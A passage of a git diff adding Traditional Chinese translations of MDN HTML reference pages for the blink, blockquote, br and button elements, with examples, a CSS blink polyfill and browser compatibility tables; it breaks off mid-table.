+ <li>Other elements conveying <a href="/en-US/docs/HTML/Text_level_semantics_conveying_elements">text-level semantics</a>: {{HTMLElement("abbr")}}, {{HTMLElement("em")}}, {{HTMLElement("strong")}}, {{HTMLElement("small")}}, {{HTMLElement("cite")}}, {{HTMLElement("q")}}, {{HTMLElement("dfn")}}, {{HTMLElement("time")}}, {{HTMLElement("code")}}, {{HTMLElement("var")}}, {{HTMLElement("samp")}}, {{HTMLElement("kbd")}}, {{HTMLElement("sub")}}, {{HTMLElement("sup")}}, {{HTMLElement("b")}}, {{HTMLElement("i")}}, {{HTMLElement("mark")}}, {{HTMLElement("ruby")}}, {{HTMLElement("rp")}}, {{HTMLElement("rt")}}, {{HTMLElement("bdo")}}, {{HTMLElement("span")}}, {{HTMLElement("br")}}, {{HTMLElement("wbr")}}.</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/zh-tw/web/html/element/blink/index.html b/files/zh-tw/web/html/element/blink/index.html
new file mode 100644
index 0000000000..9913548a5c
--- /dev/null
+++ b/files/zh-tw/web/html/element/blink/index.html
@@ -0,0 +1,75 @@
+---
+title: <blink>：文字閃爍元素（已過時）
+slug: Web/HTML/Element/blink
+translation_of: Web/HTML/Element/blink
+---
+<div>{{Deprecated_header}} {{obsolete_header}}</div>
+
+<p><span class="seoSummary">非標準元素 <strong>HTML Blink</strong>（<code>&lt;blink&gt;</code>）可以讓該元素裡面的文字緩慢閃爍。</span></p>
+
+<div class="warning">不要使用這個元素，因為它已經<strong>被棄用</strong>，而且是糟糕的設計。無障礙標準不會接受閃爍文字、而 CSS 規範上允許瀏覽器忽略閃爍效果。</div>
+
+<h2 id="DOM_介面">DOM 介面</h2>
+
+<p>此元素並未被支援，因此是透過 {{domxref("HTMLUnknownElement")}} 介面實做。</p>
+
+<h2 id="示例">示例</h2>
+
+<pre class="brush:html">&lt;blink&gt;Why would somebody use this?&lt;/blink&gt;
+</pre>
+
+<h3 id="結果（已經過淡化！）">結果（已經過淡化！）</h3>
+
+<p><img alt="Image:HTMLBlinkElement.gif" src="/@api/deki/files/247/=HTMLBlinkElement.gif"></p>
+
+<h2 id="規範">規範</h2>
+
+<p>此元素並非標準元素，也不屬於任何規範。不信的話，<a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/obsolete.html#non-conforming-features">你自己來看 HTML 規範</a>。</p>
+
+<h2 id="CSS_Polyfill">CSS Polyfill</h2>
+
+<p>如果真的需要 polyfill，請使用以下的 CSS。它支援 IE10 以上。</p>
+
+<pre class="brush:html">blink {
+    -webkit-animation: 2s linear infinite condemned_blink_effect; // for android
+    animation: 2s linear infinite condemned_blink_effect;
+}
+@-webkit-keyframes condemned_blink_effect { // for android
+    0% {
+        visibility: hidden;
+    }
+    50% {
+        visibility: hidden;
+    }
+    100% {
+        visibility: visible;
+    }
+}
+@keyframes condemned_blink_effect {
+    0% {
+        visibility: hidden;
+    }
+    50% {
+        visibility: hidden;
+    }
+    100% {
+        visibility: visible;
+    }
+}</pre>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("html.elements.blink")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="http://www.montulli.org/theoriginofthe%3Cblink%3Etag">HTML <code>&lt;blink&gt;</code> 元素的創建史</a>。</li>
+ <li>{{cssxref("text-decoration")}}，儘管有 blink 值，多數瀏覽器並不需要實做閃爍效果。</li>
+ <li>{{htmlelement("marquee")}}，類似的非標準元素。</li>
+ <li><a href="/en-US/docs/Web/Guide/CSS/Using_CSS_animations" title="/en-US/docs/Web/Guide/CSS/Using_CSS_animations">CSS 動畫</a>能得出與此元素相同的效果。</li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/zh-tw/web/html/element/blockquote/index.html b/files/zh-tw/web/html/element/blockquote/index.html
new file mode 100644
index 0000000000..6b0fe2650f
--- /dev/null
+++ b/files/zh-tw/web/html/element/blockquote/index.html
@@ -0,0 +1,149 @@
+---
+title: <blockquote>
+slug: Web/HTML/Element/blockquote
+translation_of: Web/HTML/Element/blockquote
+---
+<h2 id="摘要">摘要</h2>
+
+<p><strong>HTML <code>&lt;blockquote&gt;</code> 元素</strong>（<em>HTML 區塊引言元素</em>）定義一段文字屬於引用。通常，這元素會透過縮排來呈現（要知道如何改變，請參考<a href="#Notes">備註</a>）。引言的 URL 來源可透過 <strong>cite</strong> 屬性賦予，而來源的文本形式可以使用 {{HTMLElement("cite")}} 元素。</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/zh-TW/docs/HTML/Content_categories" title="HTML/Content_categories">內容類別</a></th>
+   <td><a href="/zh-TW/docs/HTML/Content_categories#Flow_content" title="HTML/Content categories#Flow content">流內容</a>、sectioning root、捫及內容。</td>
+  </tr>
+  <tr>
+   <th scope="row">允許內容</th>
+   <td><a href="/zh-TW/docs/HTML/Content_categories#Flow_content" title="HTML/Content_categories#Phrasing_content">內容流</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag 省略</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">允許父元素</th>
+   <td>任何允許<a href="/zh-TW/docs/HTML/Content_categories#Flow_content" title="HTML/Content_categories#Phrasing_content">內容流</a>的元素</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 介面</th>
+   <td>{{domxref("HTMLQuoteElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="屬性">屬性</h2>
+
+<p>這個屬性包含<a href="https://developer.mozilla.org/zh-TW/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">全局屬性</a><span style="line-height: 21px;">。</span></p>
+
+<dl>
+ <dt>{{htmlattrdef("cite")}}</dt>
+ <dd>一個指向被引用的原始文件或訊息的 URL 。這個屬性預期要指引到解釋內容的資訊，或是引言的援引。</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: html">&lt;blockquote cite="http://developer.mozilla.org"&gt;
+  &lt;p&gt;這是取自於 Mozilla Developer Center 的引言。&lt;/p&gt;
+&lt;/blockquote&gt;
+</pre>
+
+<p>以上的 HTML 原始碼會輸出：</p>
+
+<blockquote cite="http://developer.mozilla.org">
+<p>這是取自於 Mozilla Developer Center 的引言。</p>
+</blockquote>
+
+<h2 id="Specifications" name="Specifications">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-blockquote-element', '&lt;blockquote&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-blockquote-element', '&lt;blockquote&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.2.2', '&lt;blockquote&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>特徵</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>特徵</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="備註">備註</h2>
+
+<p>要改變<code>&lt;blockquote&gt;</code>的縮進，請使用 <a href="/zh-TW/docs/CSS" title="CSS">CSS</a> 的 {{cssxref("margin")}} 屬性。</p>
+
+<p>針對短篇引文請使用 {{HTMLElement("q")}} 元素。</p>
+
+<h2 id="延伸閱讀">延伸閱讀</h2>
+
+<ul>
+ <li>{{HTMLElement("q")}} 元素：用以表示單行的引用內容。</li>
+ <li>{{HTMLElement("cite")}} 元素：用以表示引用來源。</li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/zh-tw/web/html/element/br/index.html b/files/zh-tw/web/html/element/br/index.html
new file mode 100644
index 0000000000..2542c0182e
--- /dev/null
+++ b/files/zh-tw/web/html/element/br/index.html
@@ -0,0 +1,130 @@
+---
+title: <br>（斷行元素）
+slug: Web/HTML/Element/br
+translation_of: Web/HTML/Element/br
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;br&gt;</code> 元素</strong>會產生文字的斷行（carriage-return、CR 或是確認鍵）。此元素主要用於斷行有所意義的時候，像是寫詩或寫住址。</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/br.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<p>如上所示，<code>&lt;br&gt;</code> 元素會在需要斷行的時候出現。在 <code>&lt;br&gt;</code> 之後的文字會從文字區域的下一行出現。</p>
+
+<div class="note">
+<p><strong>注意</strong>：不要用 <code>&lt;br&gt;</code> 建立段落間距：這種情況下要用 {{htmlelement("p")}} 把它們包起來，並使用 <a href="/zh-TW/docs/CSS">CSS</a> {{cssxref('margin')}} 屬性控制間距大小。</p>
+</div>
+
+<h2 id="屬性">屬性</h2>
+
+<p>這個元件屬性含有<a href="/zh-TW/docs/HTML/Global_attributes">全域屬性</a>。</p>
+
+<h3 id="棄用屬性">棄用屬性</h3>
+
+<dl>
+ <dt>{{htmlattrdef("clear")}}</dt>
+ <dd>指示中斷後下一行的開始位置。</dd>
+</dl>
+
+<h2 id="使用_CSS_樣式化">使用 CSS 樣式化</h2>
+
+<p><code>&lt;br&gt;</code> 元素有一個定義明確的用途：在文字區塊裡面建立斷行。因此它本身沒有尺寸或視覺輸出，基本上你做不了任何樣式化。</p>
+
+<p>你可以給 <code>&lt;br&gt;</code> 元素設置 {{cssxref("margin")}} 以增加文字之間的斷行大小，但這並不是正確的作法：你應該用 {{cssxref("line-height")}} 屬性做這件事情。</p>
+
+<h2 id="示例">示例</h2>
+
+<pre class="brush: html notranslate">Mozilla Foundation&lt;br&gt;
+1981 Landings Drive&lt;br&gt;
+Building K&lt;br&gt;
+Mountain View, CA 94043-0801&lt;br&gt;
+USA
+</pre>
+
+<p>以上 HTML 將顯示</p>
+
+<p>{{ EmbedLiveSample('示例', '100%', '90') }}</p>
+
+<h2 id="無障礙議題">無障礙議題</h2>
+
+<p>使用 <code>&lt;br&gt;</code> 元素<em>分段</em>不只作法不佳，對於使用輔具的人來說，也會是有問題的。螢幕閱讀器會念出該元素，但 <code>&lt;br&gt;</code> 裡面的內容是念不出來的。對於使用螢幕閱讀器的人來說，這可能是困惑與沮喪的體驗。</p>
+
+<p>請使用 <code>&lt;p&gt;</code> 元素搭配 CSS 屬性如 {{cssxref("margin")}} 來控制間距大小。</p>
+
+<h2 id="技術摘要">技術摘要</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/zh-TW/docs/HTML/Content_categories">內容類型</a></th>
+   <td><a href="/zh-TW/docs/HTML/Content_categories#Flow_content">流型內容</a>、<a href="/zh-TW/docs/HTML/Content_categories#Phrasing_content">段落型內容</a>。</td>
+  </tr>
+  <tr>
+   <th scope="row">允許內容</th>
+   <td>無，這是個{{Glossary("空元素")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">標籤省略</th>
+   <td>絕對要有開啟標籤，也絕不能關閉標籤。在 XHTML 文件內，要把這個元素寫成 <code>&lt;br /&gt;</code>.</td>
+  </tr>
+  <tr>
+   <th scope="row">允許父元素</th>
+   <td>任何接受<a href="/zh-TW/docs/HTML/Content_categories#Phrasing_content">段落型內容</a>的元素</td>
+  </tr>
+  <tr>
+   <th scope="row">允許的 ARIA roles</th>
+   <td>所有</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 介面</th>
+   <td>{{domxref("HTMLBRElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-br-element', '&lt;br&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'textlevel-semantics.html#the-br-element', '&lt;br&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.3.2.1', '&lt;br&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("html.elements.br")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{HTMLElement("address")}} 元素</li>
+ <li>{{HTMLElement("p")}} 元素</li>
+ <li>{{HTMLElement("wbr")}} 元素</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/zh-tw/web/html/element/button/index.html b/files/zh-tw/web/html/element/button/index.html
new file mode 100644
index 0000000000..a78352ca0f
--- /dev/null
+++ b/files/zh-tw/web/html/element/button/index.html
@@ -0,0 +1,355 @@
+---
+title: <button>
+slug: Web/HTML/Element/button
+translation_of: Web/HTML/Element/button
+---
+<p><strong>HTML <code>&lt;button&gt;</code> 元素代表一個可點擊的按鈕。</strong></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/HTML/Content_categories">內容類別</a></th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Flow_content">流內容</a>, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">分段內容</a>, <a href="/en-US/docs/HTML/Content_categories#Interactive_content">互動內容</a>, <a href="/en-US/docs/HTML/Content_categories#Form_listed">條列的</a>, <a href="/en-US/docs/HTML/Content_categories#Form_labelable">標籤式的</a>, 以及 <a href="/en-US/docs/HTML/Content_categories#Form_submittable">可提交式的關係形式</a>元素, 可觸知的內容.</td>
+  </tr>
+  <tr>
+   <th scope="row">被允許的內容</th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Phrasing_content">分段內容</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">遺漏標籤</th>
+   <td>所有標籤皆不可遺漏</td>
+  </tr>
+  <tr>
+   <th scope="row">允許的父級元素</th>
+   <td>任何接受<a href="/en-US/docs/HTML/Content_categories#Phrasing_content">分段內容</a>的元素.</td>
+  </tr>
+  <tr>
+   <th scope="row">可接受 ARIA設定的角色</th>
+   <td>{{ARIARole("checkbox")}}, {{ARIARole("link")}}, {{ARIARole("menuitem")}}, {{ARIARole("menuitemcheckbox")}}, {{ARIARole("menitemradio")}}, {{ARIARole("radio")}}, {{ARIARole("switch")}}, {{ARIARole("tab")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM介面</th>
+   <td>{{domxref("HTMLButtonElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="屬性">屬性</h2>
+
+<p>這元素的屬性包含<a href="/en-US/docs/HTML/Global_attributes">全域屬性</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("autofocus")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>頁面載入後, 該按鈕如有輸入的焦點, 這個布林值式屬性即可指定上去, 除非使用者覆寫之, 例如通過不同的控制. 文本中只有一個關聯形式元素可以被指定該屬性.</dd>
+ <dt>{{htmlattrdef("autocomplete")}} {{non-standard_inline}}</dt>
+ <dd>The use of this attribute on a {{HTMLElement("button")}} is nonstandard and Firefox-specific. By default, unlike other browsers, <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">Firefox persists the dynamic disabled state</a> of a {{HTMLElement("button")}} across page loads. Setting the value of this attribute to <code>off</code> (i.e. <code>autocomplete="off"</code>) disables this feature. See {{bug(654072)}}.</dd>
+ <dt>{{htmlattrdef("disabled")}}</dt>
+ <dd>
+ <p>This Boolean attribute indicates that the user cannot interact with the button. If this attribute is not specified, the button inherits its setting from the containing element, for example {{HTMLElement("fieldset")}}; if there is no containing element with the <strong>disabled</strong> attribute set, then the button is enabled.</p>
+
+ <p>Firefox will, unlike other browsers, by default, <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">persist the dynamic disabled state</a> of a {{HTMLElement("button")}} across page loads. Use the {{htmlattrxref("autocomplete","button")}} attribute to control this feature.</p>
+ </dd>
+ <dt>{{htmlattrdef("form")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>The form element that the button is associated with (its <em>form owner</em>). The value of the attribute must be the <strong>id</strong> attribute of a {{HTMLElement("form")}} element in the same document. If this attribute is not specified, the <code>&lt;button&gt;</code> element will be associated to an ancestor {{HTMLElement("form")}} element, if one exists. This attribute enables you to associate <code>&lt;button&gt;</code> elements to {{HTMLElement("form")}} elements anywhere within a document, not just as descendants of {{HTMLElement("form")}} elements.</dd>
+ <dt>{{htmlattrdef("formaction")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>The URI of a program that processes the information submitted by the button. If specified, it overrides the {{htmlattrxref("action","form")}} attribute of the button's form owner.</dd>
+ <dt>{{htmlattrdef("formenctype")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>If the button is a submit button, this attribute specifies the type of content that is used to submit the form to the server. Possible values are:
+ <ul>
+  <li><code>application/x-www-form-urlencoded</code>: The default value if the attribute is not specified.</li>
+  <li><code>multipart/form-data</code>: Use this value if you are using an {{HTMLElement("input")}} element with the {{htmlattrxref("type","input")}} attribute set to <code>file</code>.</li>
+  <li><code>text/plain</code></li>
+ </ul>
+
+ <p>If this attribute is specified, it overrides the {{htmlattrxref("enctype","form")}} attribute of the button's form owner.</p>
+ </dd>
+ <dt>{{htmlattrdef("formmethod")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>If the button is a submit button, this attribute specifies the HTTP method that the browser uses to submit the form. Possible values are:
+ <ul>
+  <li><code>post</code>: The data from the form is included in the body of the form and is sent to the server.</li>
+  <li><code>get</code>: The data from the form are appended to the <strong>form</strong> attribute URI, with a '?' as a separator, and the resulting URI is sent to the server. Use this method when the form has no side-effects and contains only ASCII characters.</li>
+ </ul>
+
+ <p>If specified, this attribute overrides the {{htmlattrxref("method","form")}} attribute of the button's form owner.</p>
+ </dd>
+ <dt>{{htmlattrdef("formnovalidate")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>If the button is a submit button, this Boolean attribute specifies that the form is not to be validated when it is submitted. If this attribute is specified, it overrides the {{htmlattrxref("novalidate","form")}} attribute of the button's form owner.</dd>
+ <dt>{{htmlattrdef("formtarget")}} {{HTMLVersionInline(5)}}</dt>
+ <dd>If the button is a submit button, this attribute is a name or keyword indicating where to display the response that is received after submitting the form. This is a name of, or keyword for, a <em>browsing context</em> (for example, tab, window, or inline frame). If this attribute is specified, it overrides the {{htmlattrxref("target", "form")}} attribute of the button's form owner. The following keywords have special meanings:
+ <ul>
+  <li><code>_self</code>: Load the response into the same browsing context as the current one. This value is the default if the attribute is not specified.</li>
+  <li><code>_blank</code>: Load the response into a new unnamed browsing context.</li>
+  <li><code>_parent</code>: Load the response into the parent browsing context of the current one. If there is no parent, this option behaves the same way as <code>_self</code>.</li>
+  <li><code>_top</code>: Load the response into the top-level browsing context (that is, the browsing context that is an ancestor of the current one, and has no parent). If there is no parent, this option behaves the same way as <code>_self</code>.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>The name of the button, which is submitted with the form data.</dd>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>The type of the button. Possible values are:
+ <ul>
+  <li><code>submit</code>: The button submits the form data to the server. This is the default if the attribute is not specified, or if the attribute is dynamically changed to an empty or invalid value.</li>
+  <li><code>reset</code>: The button resets all the controls to their initial values.</li>
+  <li><code>button</code>: The button has no default behavior. It can have client-side scripts associated with the element's events, which are triggered when the events occur.</li>
+  <li>menu: The button opens a popup menu defined via its designated {{HTMLElement("menu")}} element.</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("value")}}</dt>
+ <dd>The initial value of the button. It defines the value associated with the button which is submitted with the form data.  This value is passed to the server in params when the form is submitted.</dd>
+</dl>
+
+<h2 id="Notes">Notes</h2>
+
+<p><code>&lt;button&gt;</code> elements are much easier to style than {{HTMLElement("input")}} elements. You can add inner HTML content (think <code>&lt;em&gt;</code>, <code>&lt;strong&gt;</code> or even <code>&lt;img&gt;</code>), and make use of {{Cssxref(":after")}} and {{Cssxref(":before")}} pseudo-element to achieve complex rendering while {{HTMLElement("input")}} only accepts a text value attribute.</p>
+
+<p>IE7 has a bug where when submitting a form with <code>&lt;button type="submit" name="myButton" value="foo"&gt;Click me&lt;/button&gt;</code>, the <code>POST</code> data sent will result in <code>myButton=Click me</code> instead of <code>myButton=foo</code>.<br>
+ IE6 has an even worse bug where submitting a form through a button will submit ALL buttons of the form, with the same bug as IE7.<br>
+ This bug has been fixed in IE8.</p>
+
+<p>Firefox will add, for accessibility purposes, a small dotted border on a focused button. This border is declared through CSS, in the browser stylesheet, but you can override it if necessary to add your own focused style using <code>button{{cssxref("::-moz-focus-inner")}} { }</code></p>
+
+<p>Firefox will, unlike other browsers, by default, <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">persist the dynamic disabled state</a> of a {{HTMLElement("button")}} across page loads. Setting the value of the {{htmlattrxref("autocomplete","button")}} attribute to <code>off</code> disables this feature. See {{bug(654072)}}.</p>
+
+<p>Firefox &lt;35 for Android sets a default {{ cssxref("background-image") }} gradient on all buttons (see {{bug(763671)}}). This can be disabled using <code>background-image: none</code>.</p>
+
+<h3 id="Clicking_and_focus">Clicking and focus</h3>
+
+<p>Whether clicking on a {{HTMLElement("button")}} causes it to (by default) become focused varies by browser and OS. The results for {{HTMLElement("input")}} of <code>type="button"</code> and <code>type="submit"</code> were the same.</p>
+
+<table>
+ <caption>Does clicking on a {{HTMLElement("button")}} give it the focus?</caption>
+ <tbody>
+  <tr>
+   <td>Desktop Browsers</td>
+   <th>Windows 8.1</th>
+   <th>OS X 10.9</th>
+  </tr>
+  <tr>
+   <th>Firefox 30.0</th>
+   <td style="background-color: LawnGreen;">Yes</td>
+   <td style="background-color: red;">No (even with a <code>tabindex</code>)</td>
+  </tr>
+  <tr>
+   <th>Chrome 35</th>
+   <td style="background-color: LawnGreen;">Yes</td>
+   <td style="background-color: LawnGreen;">Yes</td>
+  </tr>
+  <tr>
+   <th>Safari 7.0.5</th>
+   <td style="background-color: silver;">N/A</td>
+   <td style="background-color: red;">No (even with a <code>tabindex</code>)</td>
+  </tr>
+  <tr>
+   <th>Internet Explorer 11</th>
+   <td style="background-color: LawnGreen;">Yes</td>
+   <td style="background-color: silver;">N/A</td>
+  </tr>
+  <tr>
+   <th>Presto (Opera 12)</th>
+   <td style="background-color: LawnGreen;">Yes</td>
+   <td style="background-color: LawnGreen;">Yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<table>
+ <caption>Does tapping on a {{HTMLElement("button")}} give it the focus?</caption>
+ <tbody>
+  <tr>
+   <td>Mobile Browsers</td>
+   <th>iOS 7.1.2</th>
+   <th>Android 4.4.4</th>
+  </tr>
+  <tr>
+   <th>Safari Mobile</th>
+   <td style="background-color: red;">No (even with a <code>tabindex</code>)</td>
+   <td style="background-color: silver;">N/A</td>
+  </tr>
+  <tr>
+   <th>Chrome 35</th>
+   <td style="background-color: red;">No (even with a <code>tabindex</code>)</td>
+   <td style="background-color: LawnGreen;">Yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush:html">&lt;button name="button"&gt;Click me&lt;/button&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('Example', 200, 64) }}</p>
+
+<p>Please note that this button has CSS applied.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-button-element', '&lt;button&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-button-element', '&lt;button&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.5', '&lt;button&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>formaction</code> attribute</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>formenctype</code> attribute</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>10.6</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>formmethod</code> attribute</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>autofocus</code> attribute</td>
+   <td>5.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>10</td>
+   <td>9.6</td>
+   <td>5.0</td>
+  </tr>
+  <tr>
+   <td><code>menu</code> value for <code>type</code> attribute</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>formaction</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>formenctype</code> attribute</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>formmethod</code> attribute</td>
